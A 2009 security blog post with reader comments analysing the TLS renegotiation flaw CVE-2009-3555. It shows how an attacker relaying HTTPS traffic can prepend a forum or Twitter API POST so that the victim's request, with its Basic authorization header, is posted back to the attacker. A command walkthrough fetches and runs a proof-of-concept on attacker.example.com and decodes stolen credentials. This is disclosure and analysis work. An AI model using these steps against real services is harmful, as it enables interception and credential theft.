Tuesday, November 10, 2009

TLS renegotiation vulnerability (CVE-2009-3555)

definitely not a full blown MITM, yet more than just a simple CSRF


UPDATE: This article was featured on The Register


Context

Marsh Ray and Steve Dispensa have recently uncovered a vulnerability in the design of TLS. Many comments and explanations have been made, and the consensus is that for HTTPS, this attack is equivalent to a CSRF, which is usually well protected against.

From IBM ISS:
Most, if not all, major web applications have implementation level protections against CSRF, such as random nonces in web forms that must be submitted along with any request. Those protection measures are effective against this new SSL man in the middle attack. Therefore, this vulnerability has minimal security impact for most websites and Internet users.
UPDATE: Tom J Cross from IBM ISS made a follow-up blog post referring to this attack.

This is about right if one considers the way an attacker injects data in the TLS session (in red) according to Marsh Ray's "X-ignore" trick:
GET /transact.php?value=evil HTTP/1.0
X-Ignore: Get / HTTP/1.1
Cookie: [...]

This is not the only possibility though. Here is another one:
POST /forum/send.php HTTP/1.0

message=GET / HTTP/1.1 [...]

Now the victim's packet is embedded in the POST data. The attacker can therefore have access to the actual packet sent by an auxiliary channel - e.g. here by reading the posted message on the forum that we assume operates on the same website.
One can see here that this is somewhat broader than a CSRF: an attacker can now have access to HTTP headers, such as the Authorization header.


A real world attack scenario: the twitter API


One can update its twitter status by using their RESTful API, e.g. with curl:
$ curl -u "user:pw" -d "status=New status" https://twitter.com/statuses/update.xml

Note that this is a POST request. Applying the previously stated idea, it is now possible to access the first 140 characters of an HTTP packet sent by a victim.

Attacker:
attacker.example.com$ wget http://perso.telecom-paristech.fr/~kurmus/ssl.c #based on the PoC published on full disclosure
attacker.example.com$ gcc -lssl ssl.c -o ssl
attacker.example.com$ ./ssl 8080 `echo -n "attacker@example.com:evilpw" |base64`

Victim:
$ curl -u "victim@example.com:securepw" -d "status=any" https://twitter.com/statuses/update.xml -p -x attacker.example.com:8080 \
# proxying the request through attacker.example.com, to simulate a MITM


Result on the attacker's twitter status:




$ echo -n dmljdGltQGV4YW1wbGUuY29tOnNlY3VyZXB3 | base64 -d
victim@example.com:securepw

Although the attacker cannot modify the contents of the data sent back by the server after the malicious status update, he can take advantage of his relaying position and drop that packet. Considering twitter will also append an authentication cookie in the reply, this is a must for the attacker.


All in all, a man in the middle is able to steal the credentials of a user authenticating himself through HTTPS to a trusted website, and CSRF protections do not apply here. Luckily, a fix should be out soon.

17 comments:

  1. UPDATE: it appears twitter has patched its webserver and the TLS renegotiation vulnerability does not work anymore. Until yesterday (10/11), it was working fine. I guess their admins are doing a good job!

    ReplyDelete
  2. Please note that the RESTful API is not (and cannot) protected against CSRF because it is a single request. In the GET /transact.php?value=evil case CSRF protection can be defeated if it uses an HTTP header, but not if it uses a URL parameter. In the POST /forum/send.php case CSRF protection is never defeated.

    So, the impact of this SSL flaw is still similar to CSRF. You just pointed out a case where CSRF is not implemented.

    ReplyDelete
  3. Thanks RichieB for your comment, I agree this is not vey clear in my post.

    Do you agree with the following: if you were to try to exploit the twitter API through a CSRF, you would not be able to perform this attack.
    The reason is related to the one you mentioned: this is a single request that has to contain the user's credentials. If the CSRF POST would include the attacker's credentials (I'm not sure whether this would actually work, but I'd guess so, with some javascript), the attacker has no way to access the victim's credentials and post them. Nor his twitter.com cookies.

    Therefore, it is possible to perform attacks with this vulnerability that you could not with some CSRF.

    ReplyDelete
  4. CSRF doesn't work on Twitter during a POST because of the protection provided by the rails authenticity token.

    ReplyDelete
  5. @Anonymous: RichieB and I were referring to the RESTful API (no token there)

    ReplyDelete
  6. This isn't a renegotiation exploit at all. This is just a CSRF leveraging MitM. The attack doesn't even cause a renegotiation. While the attack is certainly clever, it is misleading to call it a renegotiation exploit.

    ReplyDelete
  7. @Anonymous2:
    Renegotiation:

    cssl->ssl->method->ssl3_enc->change_cipher_state = bogus_change_cipher_state;
    rec_write(cssl, buf, l);


    Also, CSRF starts with "Cross Site". There is only one web server involved here.

    ReplyDelete
  8. I still don't see why this is anything like a CSRF at all.

    The attacker doesn't need to convince the service provider to trust the user's request. The attacker doesn't try to impersonate the user at all!

    The attacker only needs to convince the service provider to trust the *attacker's request*. He can use his own login credentials. He can provide whatever CSRF-protection cookies the service requires. All he has to do is construct *some* valid request that ends with the user's original HTTP request as *some* valid payload that the service provider will eventually make available to him.

    In other words, the service provider only sees the attacker logging in normally, following a normal sequence of web forms, and posting a message with a funny-looking body. No CSRF.

    ReplyDelete
  9. Hi Joe,

    Thanks for the comment, this is my point of view as well. Token based CSRF won't be of any use - in the specific way of exploiting the TLS bug here - to prevent the attacker from posting... authenticated as himself.

    The comparison with CSRF though is based on the initial "X-ignore" trick, which led to basically the same result that you would get from a CSRF, making CSRF protections more relevant in that case.

    ReplyDelete
  10. Right; I think it's valuable to separate the two different attack cases more explicitly:

    1) Bad guy plays chosen transaction under authentication of good guy;

    2) Bad guy reveals good guy's plaintext through posting under bad guys' credentials.

    We had considered both, but we thought #1 was the more serious flaw, and more directly illustrated the actual protocol flaw.

    -Steve Dispensa

    ReplyDelete
  11. I'm curious: would OAuth be better than simply base64'ing the user's password?

    ReplyDelete
  12. OAuth and TLS have very different uses and if the question is whether, in general, the use of OAuth would mitigate the vulnerability, the answer is no. However, OAuth would indeed prevent disclosing the user's credentials to the attacker in the case of the twitter API here, but so would using Digest instead of Basic authorization. Does that answer your question?

    ReplyDelete
  13. It does answer the question, thanks.

    ReplyDelete
  14. Hi there, I'm getting the message "potentially vulnerable to CVE-2009-3555" - do I need to get my provider to patch my server or is this a code issue? I force SSL over the whole of my sote and I'm now getting pretty worried. Any ideas?

    ReplyDelete
  15. The ssl diagnos application does some tests for CVE-2009-3555:

    See:
    http://sourceforge.net/projects/ssldiagnos

    ReplyDelete
  16. Hi Anil, great post! I know it's been a couple years, but would it be possible to get a copy of the ssl.c file you reference? This link 404s: http://perso.telecom-paristech.fr/~kurmus/ssl.c

    ReplyDelete